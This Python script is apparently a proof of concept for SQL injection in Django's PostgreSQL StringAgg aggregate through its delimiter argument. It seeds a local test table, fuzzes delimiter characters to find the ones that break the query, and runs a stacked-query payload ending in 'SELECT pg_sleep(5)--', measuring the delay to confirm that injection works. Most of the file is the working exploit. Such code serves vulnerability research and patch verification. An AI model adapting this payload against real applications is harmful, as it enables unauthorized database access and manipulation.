import os
import django
import time

os.environ.setdefault("DJANGO_SETTINGS_MODULE", "sqlvul_project.settings")

# Django 版本大于等于1.7的时候，需要加上下面两句
if django.VERSION >= (1, 7):  # 自动判断版本
    django.setup()

from test_app.models import testModel
from django.contrib.postgres.aggregates import StringAgg


def initdb():
    data = [('1', 'a'), ('1', 'b'), ('1', 'c'), ('2','d'),('2','e')]
    for field1, field2 in data:
        testModel.objects.get_or_create(field1=field1, field2=field2)

def poc():
    payload = ',\') AS "result" FROM "test_app_testmodel";SELECT pg_sleep(5)--'
    start = time.time()
    print("[+]注入查询结果：",testModel.objects.aggregate(result=StringAgg("field1", delimiter=payload)))
    end = time.time()
    print("[+]注入pg_sleep(5)后的SQL执行耗时：",end - start)

def fuzz():
    # FUZZ delimiter
    error_c = []
    for c in "!@#$%^&*()_+=-|\\\"':;?/>.<,{}[]":
        try:
            results = testModel.objects.aggregate(result=StringAgg("field1", delimiter=c))
        except:
            error_c.append(c)
    print("[+]Fuzz漏洞分隔符：",error_c)

if __name__ == '__main__':
    initdb()
    fuzz()
    # print(testModel.objects.aggregate(result=StringAgg("field1", delimiter=",")))
    poc()

